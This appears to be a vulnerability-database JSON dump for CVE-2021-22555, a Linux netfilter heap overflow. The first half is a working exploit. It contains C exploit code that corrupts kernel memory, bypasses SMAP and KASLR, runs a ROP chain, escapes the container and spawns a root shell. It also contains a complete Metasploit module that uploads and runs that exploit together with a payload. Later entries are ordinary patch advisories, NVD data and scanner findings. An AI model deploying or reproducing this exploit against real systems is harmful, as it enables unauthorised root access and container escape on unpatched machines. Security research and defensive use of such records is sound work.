\nperror(\"[-] sched_setaffinity\"); \nreturn -1; \n} \n \nreturn 0; \n} \n \nint main(int argc, char *argv[]) { \nint s; \nint fd; \nint ss[NUM_SOCKETS][2]; \nint pipefd[NUM_PIPEFDS][2]; \nint msqid[NUM_MSQIDS]; \n \nchar primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE]; \nchar secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE]; \n \nstruct msg_msg *msg; \nstruct pipe_buf_operations *ops; \nstruct pipe_buffer *buf; \n \nuint64_t pipe_buffer_ops = 0; \nuint64_t kheap_addr = 0, kbase_addr = 0; \n \nint fake_idx = -1, real_idx = -1; \n \nprintf(\"[+] Linux Privilege Escalation by theflow@ - 2021\\n\"); \n \nprintf(\"\\n\"); \nprintf(\"[+] STAGE 0: Initialization\\n\"); \n \nprintf(\"[*] Setting up namespace sandbox...\\n\"); \nif (setup_sandbox() < 0) \ngoto err_no_rmid; \n \nprintf(\"[*] Initializing sockets and message queues...\\n\"); \n \nif ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { \nperror(\"[-] socket\"); \ngoto err_no_rmid; \n} \n \nfor (int i = 0; i < NUM_SOCKETS; i++) { \nif (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) { \nperror(\"[-] socketpair\"); \ngoto err_no_rmid; \n} \n} \n \nfor (int i = 0; i < NUM_MSQIDS; i++) { \nif ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) { \nperror(\"[-] msgget\"); \ngoto err_no_rmid; \n} \n} \n \nprintf(\"\\n\"); \nprintf(\"[+] STAGE 1: Memory corruption\\n\"); \n \nprintf(\"[*] Spraying primary messages...\\n\"); \nfor (int i = 0; i < NUM_MSQIDS; i++) { \nmemset(&msg_primary, 0, sizeof(msg_primary)); \n*(int *)&msg_primary.mtext[0] = MSG_TAG; \n*(int *)&msg_primary.mtext[4] = i; \nif (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < \n0) \ngoto err_rmid; \n} \n \nprintf(\"[*] Spraying secondary messages...\\n\"); \nfor (int i = 0; i < NUM_MSQIDS; i++) { \nmemset(&msg_secondary, 0, sizeof(msg_secondary)); \n*(int *)&msg_secondary.mtext[0] = MSG_TAG; \n*(int *)&msg_secondary.mtext[4] = i; \nif (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), \nMTYPE_SECONDARY) < 0) \ngoto err_rmid; \n} \n \nprintf(\"[*] Creating holes in primary messages...\\n\"); \nfor (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) { \nif (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < \n0) \ngoto err_rmid; \n} \n \nprintf(\"[*] Triggering out-of-bounds write...\\n\"); \nif (trigger_oob_write(s) < 0) \ngoto err_rmid; \n \nprintf(\"[*] Searching for corrupted primary message...\\n\"); \nfor (int i = 0; i < NUM_MSQIDS; i++) { \nif (i != 0 && (i % HOLE_STEP) == 0) \ncontinue; \nif (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0) \ngoto err_no_rmid; \nif (*(int *)&msg_secondary.mtext[0] != MSG_TAG) { \nprintf(\"[-] Error could not corrupt any primary message.\\n\"); \ngoto err_no_rmid; \n} \nif (*(int *)&msg_secondary.mtext[4] != i) { \nfake_idx = i; \nreal_idx = *(int *)&msg_secondary.mtext[4]; \nbreak; \n} \n} \n \nif (fake_idx == -1 && real_idx == -1) { \nprintf(\"[-] Error could not corrupt any primary message.\\n\"); \ngoto err_no_rmid; \n} \n \n// fake_idx's primary message has a corrupted next pointer; wrongly \n// pointing to real_idx's secondary message. \nprintf(\"[+] fake_idx: %x\\n\", fake_idx); \nprintf(\"[+] real_idx: %x\\n\", real_idx); \n \nprintf(\"\\n\"); \nprintf(\"[+] STAGE 2: SMAP bypass\\n\"); \n \nprintf(\"[*] Freeing real secondary message...\\n\"); \nif (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary), \nMTYPE_SECONDARY) < 0) \ngoto err_rmid; \n \n// Reclaim the previously freed secondary message with a fake msg_msg of \n// maximum possible size. \nprintf(\"[*] Spraying fake secondary messages...\\n\"); \nmemset(secondary_buf, 0, sizeof(secondary_buf)); \nbuild_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, \nPAGE_SIZE - MSG_MSG_SIZE, 0); \nif (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) \ngoto err_rmid; \n \n// Use the fake secondary message to read out-of-bounds. \nprintf(\"[*] Leaking adjacent secondary message...\\n\"); \nif (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) \ngoto err_rmid; \n \n// Check if the leak is valid. \nif (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) { \nprintf(\"[-] Error could not leak adjacent secondary message.\\n\"); \ngoto err_rmid; \n} \n \n// The secondary message contains a pointer to the primary message. \nmsg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; \nkheap_addr = msg->m_list_next; \nif (kheap_addr & (PRIMARY_SIZE - 1)) \nkheap_addr = msg->m_list_prev; \nprintf(\"[+] kheap_addr: %\" PRIx64 \"\\n\", kheap_addr); \n \nif ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) { \nprintf(\"[-] Error kernel heap address is incorrect.\\n\"); \ngoto err_rmid; \n} \n \nprintf(\"[*] Freeing fake secondary messages...\\n\"); \nfree_skbuff(ss, secondary_buf, sizeof(secondary_buf)); \n \n// Put kheap_addr at next to leak its content. Assumes zero bytes before \n// kheap_addr. \nprintf(\"[*] Spraying fake secondary messages...\\n\"); \nmemset(secondary_buf, 0, sizeof(secondary_buf)); \nbuild_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, \nsizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE); \nif (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) \ngoto err_rmid; \n \n// Use the fake secondary message to read from kheap_addr. \nprintf(\"[*] Leaking primary message...\\n\"); \nif (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) \ngoto err_rmid; \n \n// Check if the leak is valid. \nif (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) { \nprintf(\"[-] Error could not leak primary message.\\n\"); \ngoto err_rmid; \n} \n \n// The primary message contains a pointer to the secondary message. \nmsg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE]; \nkheap_addr = msg->m_list_next; \nif (kheap_addr & (SECONDARY_SIZE - 1)) \nkheap_addr = msg->m_list_prev; \n \n// Calculate the address of the fake secondary message. \nkheap_addr -= SECONDARY_SIZE; \nprintf(\"[+] kheap_addr: %\" PRIx64 \"\\n\", kheap_addr); \n \nif ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) { \nprintf(\"[-] Error kernel heap address is incorrect.\\n\"); \ngoto err_rmid; \n} \n \nprintf(\"\\n\"); \nprintf(\"[+] STAGE 3: KASLR bypass\\n\"); \n \nprintf(\"[*] Freeing fake secondary messages...\\n\"); \nfree_skbuff(ss, secondary_buf, sizeof(secondary_buf)); \n \n// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible. \nprintf(\"[*] Spraying fake secondary messages...\\n\"); \nmemset(secondary_buf, 0, sizeof(secondary_buf)); \nbuild_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0); \nif (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) \ngoto err_rmid; \n \nprintf(\"[*] Freeing sk_buff data buffer...\\n\"); \nif (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0) \ngoto err_rmid; \n \nprintf(\"[*] Spraying pipe_buffer objects...\\n\"); \nfor (int i = 0; i < NUM_PIPEFDS; i++) { \nif (pipe(pipefd[i]) < 0) { \nperror(\"[-] pipe\"); \ngoto err_rmid; \n} \n// Write something to populate pipe_buffer. \nif (write(pipefd[i][1], \"pwn\", 3) < 0) { \nperror(\"[-] write\"); \ngoto err_rmid; \n} \n} \n \nprintf(\"[*] Leaking and freeing pipe_buffer object...\\n\"); \nfor (int i = 0; i < NUM_SOCKETS; i++) { \nfor (int j = 0; j < NUM_SKBUFFS; j++) { \nif (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) { \nperror(\"[-] read\"); \ngoto err_rmid; \n} \nif (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE) \npipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10]; \n} \n} \n \nkbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS; \nprintf(\"[+] anon_pipe_buf_ops: %\" PRIx64 \"\\n\", pipe_buffer_ops); \nprintf(\"[+] kbase_addr: %\" PRIx64 \"\\n\", kbase_addr); \n \nif ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) { \nprintf(\"[-] Error kernel base address is incorrect.\\n\"); \ngoto err_rmid; \n} \n \nprintf(\"\\n\"); \nprintf(\"[+] STAGE 4: Kernel code execution\\n\"); \n \nprintf(\"[*] Spraying fake pipe_buffer objects...\\n\"); \nmemset(secondary_buf, 0, sizeof(secondary_buf)); \nbuf = (struct pipe_buffer *)&secondary_buf; \nbuf->ops = kheap_addr + 0x290; \nops = (struct pipe_buf_operations *)&secondary_buf[0x290]; \n#ifdef KERNEL_COS_5_4_89 \n// RAX points to &buf->ops. \n// RCX points to &buf. \nops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX; \n#elif KERNEL_UBUNTU_5_8_0_48 \n// RSI points to &buf. \nops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39; \n#endif \nbuild_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0); \nif (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) \ngoto err_rmid; \n \n// Trigger pipe_release(). \nprintf(\"[*] Releasing pipe_buffer objects...\\n\"); \nfor (int i = 0; i < NUM_PIPEFDS; i++) { \nif (close(pipefd[i][0]) < 0) { \nperror(\"[-] close\"); \ngoto err_rmid; \n} \nif (close(pipefd[i][1]) < 0) { \nperror(\"[-] close\"); \ngoto err_rmid; \n} \n} \n \nprintf(\"[*] Checking for root...\\n\"); \nif ((fd = open(\"/etc/shadow\", O_RDONLY)) < 0) { \nprintf(\"[-] Error could not gain root privileges.\\n\"); \ngoto err_rmid; \n} \nclose(fd); \nprintf(\"[+] Root privileges gained.\\n\"); \n \nprintf(\"\\n\"); \nprintf(\"[+] STAGE 5: Post-exploitation\\n\"); \n \nprintf(\"[*] Escaping container...\\n\"); \nsetns(open(\"/proc/1/ns/mnt\", O_RDONLY), 0); \nsetns(open(\"/proc/1/ns/pid\", O_RDONLY), 0); \nsetns(open(\"/proc/1/ns/net\", O_RDONLY), 0); \n \nprintf(\"[*] Cleaning up...\\n\"); \nfor (int i = 0; i < NUM_MSQIDS; i++) { \n// TODO: Fix next pointer. \nif (i == fake_idx) \ncontinue; \nif (msgctl(msqid[i], IPC_RMID, NULL) < 0) \nperror(\"[-] msgctl\"); \n} \nfor (int i = 0; i < NUM_SOCKETS; i++) { \nif (close(ss[i][0]) < 0) \nperror(\"[-] close\"); \nif (close(ss[i][1]) < 0) \nperror(\"[-] close\"); \n} \nif (close(s) < 0) \nperror(\"[-] close\"); \n \nprintf(\"[*] Popping root shell...\\n\"); \nchar *args[] = {\"/bin/bash\", \"-i\", NULL}; \nexecve(args[0], args, NULL); \n \nreturn 0; \n \nerr_rmid: \nfor (int i = 0; i < NUM_MSQIDS; i++) { \nif (i == fake_idx) \ncontinue; \nif (msgctl(msqid[i], IPC_RMID, NULL) < 0) \nperror(\"[-] msgctl\"); \n} \n \nerr_no_rmid: \nreturn 1; \n} \n \n`\n", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/163528/linuxnetflow-exec.txt"}, {"lastseen": "2021-10-07T14:18:52", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-07T00:00:00", "type": "packetstorm", "title": "Netfilter x_tables Heap Out-Of-Bounds Write / Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22555"], "modified": "2021-10-07T00:00:00", "id": "PACKETSTORM:164437", "href": "https://packetstormsecurity.com/files/164437/Netfilter-x_tables-Heap-Out-Of-Bounds-Write-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = GreatRanking \ninclude Msf::Post::Common \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Post::Linux::Priv \ninclude Msf::Post::Linux::System \ninclude Msf::Post::Linux::Kernel \ninclude Msf::Post::File \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Netfilter x_tables Heap OOB Write Privilege Escalation', \n'Description' => %q{ \nA heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c. \nThis allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space. \nKernels up to 5.11 (including) are vulnerable. \nMore information about vulnerable kernels is \navailable at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea \n}, \n'License' => MSF_LICENSE, \n'Author' => [ \n'Andy Nguyen (theflow@)', # The original author of this exploit \n'Szymon Janusz', # The author of this module \n'bcoles' # Updated the C source code to provide more targets \n], \n'DisclosureDate' => '2021-07-07', # YYYY-DD-MM. Public disclosure date \n'Platform' => 'linux', \n'Arch' => [ ARCH_X64 ], \n'SessionTypes' => ['meterpreter', 'shell'], \n'Targets' => [ \n['Automatic', {}] \n], \n'DefaultTarget' => 0, \n'Notes' => { \n'Reliability' => [ UNRELIABLE_SESSION ], # The module could fail to get root sometimes. \n'Stability' => [ OS_RESOURCE_LOSS ], # After too many failed attempts, the system needs to be restarted. \n'SideEffects' => [ ARTIFACTS_ON_DISK ] \n}, \n'References' => [ \n['CVE', '2021-22555'], \n['URL', 'https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html'], \n['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22555'], \n['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555'], \n['URL', 'https://ubuntu.com/security/CVE-2021-22555'] \n] \n) \n) \n \nregister_options( \n[ \nOptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/var/tmp']), \nOptInt.new('CmdTimeout', [true, 'Maximum number of seconds to wait for the exploit to complete', 10]) \n] \n) \nend \n \ndef base_dir \ndatastore['WritableDir'].to_s \nend \n \ndef cmd_timeout \ndatastore['CmdTimeout'].to_i \nend \n \ndef get_external_source_code(cve, file) \nfile_path = ::File.join(::Msf::Config.install_root, \"external/source/exploits/#{cve}/#{file}\") \n::File.binread(file_path) \nend \n \ndef strip_comments(c_code) \nc_code.gsub(%r{/\\*.*?\\*/}m, '').gsub(%r{^\\s*//.*$}, '') \nend \n \ndef check \nunless kernel_modules.include? 'ip_tables' \nvprint_warning('The ip_tables module is not loaded.') \nreturn CheckCode::Safe('The ip_tables module is not loaded.') \nend \n \nreturn CheckCode::Safe('LKRG is installed.') if lkrg_installed? \nreturn CheckCode::Safe('grsecurity is in use') if grsec_installed? \n \nrelease = kernel_release \nversion = \"#{release} #{kernel_version.split(' ').first}\" \nubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\\[\\] = \\{(.+?)\\};/m).flatten.first \nubuntu_kernels = ubuntu_offsets.scan(/\"(.+?)\"/).flatten \nif ubuntu_kernels.empty? \nfail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.') \nend \nreturn CheckCode::Safe(\"Ubuntu kernel #{version} is not vulnerable.\") if !ubuntu_kernels.include? version \n \n# Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels. \n# Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length. \nminimum_msgmni = 4096 \nmsgmni_path = '/proc/sys/kernel/msgmni' \nreturn CheckCode::Safe(\"#{msgmni_path} is not readable.\") if !readable?(msgmni_path) \n \nmsgmni = read_file(msgmni_path).to_i \nif msgmni >= minimum_msgmni \nreturn CheckCode::Appears(\"Target is running kernel release #{release}.\") \nelse \nreturn CheckCode::Safe(\"The kernel's MSGMNI queue size of #{msgmni} is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of #{minimum_msgmni} is required. This setting can only be changed using sudo on the victim machine.\") \nend \nend \n \ndef upload_exploit_binary \nexecutable_name = rand_text_alphanumeric(5..10) \n@executable_path = \"#{base_dir}/#{executable_name}\" \nupload_and_chmodx(@executable_path, exploit_data('CVE-2021-22555', 'ubuntu.elf')) \nregister_file_for_cleanup(@executable_path) \nend \n \ndef upload_payload_binary \npayload_name = rand_text_alphanumeric(5..10) \n@payload_path = \"#{base_dir}/#{payload_name}\" \nupload_and_chmodx(@payload_path, generate_payload_exe) \nregister_file_for_cleanup(@payload_path) \nend \n \ndef run_payload \nresponse = cmd_exec(@executable_path, @payload_path, cmd_timeout) \nvprint_status(response) \nif response =~ /No space left on device/ \n# After too many failed attempts, the system needs to be restarted. \nfail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.') \nelsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/ \nfail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.') \nelsif response =~ /system is not using an Ubuntu kernel/ \nfail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.') \nelsif response =~ /not recognized/ \nfail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.') \nend \nprint_status('Payload executed!') \nend \n \ndef exploit \nfail_with(Failure::BadConfig, \"#{base_dir} is not writable.\") if !writable?(base_dir) \n \nprint_status('Dropping pre-compiled binaries to system...') \nupload_exploit_binary \nprint_status('Uploading payload...') \nupload_payload_binary \nprint_status('Running payload on remote system...') \nrun_payload \nend \nend \n`\n", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/164437/netfilter_xtables_heap_oob_write_priv_esc.rb.txt"}], "cloudlinux": [{"lastseen": "2021-09-22T18:36:25", "description": "- ELS-130: CVE-2021-22555: netfilter: x_tables: fix compat match/target pad out-of-bound write", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-21T22:04:54", "type": "cloudlinux", "title": "Fix of CVE: CVE-2021-22555", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22555"], "modified": "2021-09-21T22:04:54", "id": "CLSA-2021:1632261894", "href": "https://repo.cloudlinux.com/centos6-els/updateinfo.xml", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-22T18:36:25", "description": "- ELS-130: CVE-2021-22555: netfilter: x_tables: fix compat match/target pad out-of-bound write", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-21T22:05:12", "type": "cloudlinux", "title": "Fix of CVE: CVE-2021-22555", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22555"], "modified": "2021-09-21T22:05:12", "id": "CLSA-2021:1632261912", "href": "https://repo.cloudlinux.com/centos6-els/updateinfo.xml", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2023-02-09T14:08:41", "description": "A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-07T12:15:00", "type": "cve", "title": "CVE-2021-22555", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22555"], "modified": "2022-03-31T19:15:00", "cpe": ["cpe:/o:brocade:fabric_operating_system:-", "cpe:/o:netapp:fas_8300_firmware:-", "cpe:/o:netapp:aff_a250_firmware:-", "cpe:/o:netapp:aff_500f_firmware:-", "cpe:/a:netapp:solidfire:-", "cpe:/o:netapp:fas_8700_firmware:-", "cpe:/o:netapp:h615c_firmware:-", "cpe:/o:netapp:h610c_firmware:-", "cpe:/o:netapp:aff_a400_firmware:-", "cpe:/o:netapp:h610s_firmware:-", "cpe:/a:netapp:hci_management_node:-"], "id": "CVE-2021-22555", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-22555", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:netapp:aff_500f_firmware:-:*:*:*:*:*:*:*", "cpe:2.3:a:netapp:solidfire:-:*:*:*:*:*:*:*", "cpe:2.3:o:brocade:fabric_operating_system:-:*:*:*:*:*:*:*", "cpe:2.3:a:netapp:hci_management_node:-:*:*:*:*:*:*:*", "cpe:2.3:o:netapp:fas_8700_firmware:-:*:*:*:*:*:*:*", "cpe:2.3:o:netapp:fas_8300_firmware:-:*:*:*:*:*:*:*", "cpe:2.3:o:netapp:h610c_firmware:-:*:*:*:*:*:*:*", "cpe:2.3:o:netapp:aff_a400_firmware:-:*:*:*:*:*:*:*", "cpe:2.3:o:netapp:h610s_firmware:-:*:*:*:*:*:*:*", "cpe:2.3:o:netapp:aff_a250_firmware:-:*:*:*:*:*:*:*", "cpe:2.3:o:netapp:h615c_firmware:-:*:*:*:*:*:*:*"]}], "nessus": [{"lastseen": "2023-01-18T14:39:20", "description": "The remote Ubuntu 16.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5039-1 advisory.\n\n - A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c.\n This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space (CVE-2021-22555)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-12T00:00:00", "type": "nessus", "title": "Ubuntu 16.04 LTS : Linux kernel vulnerability (USN-5039-1)", "bulletinFamily": "scanner", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, 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not tested for these issues but has instead relied only on the application's self-reported version number.", "cvss3": {"exploitabilityScore": 2.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-10-13T00:00:00", "type": "nessus", "title": "RHEL 7 : kernel (RHSA-2021:3812)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": 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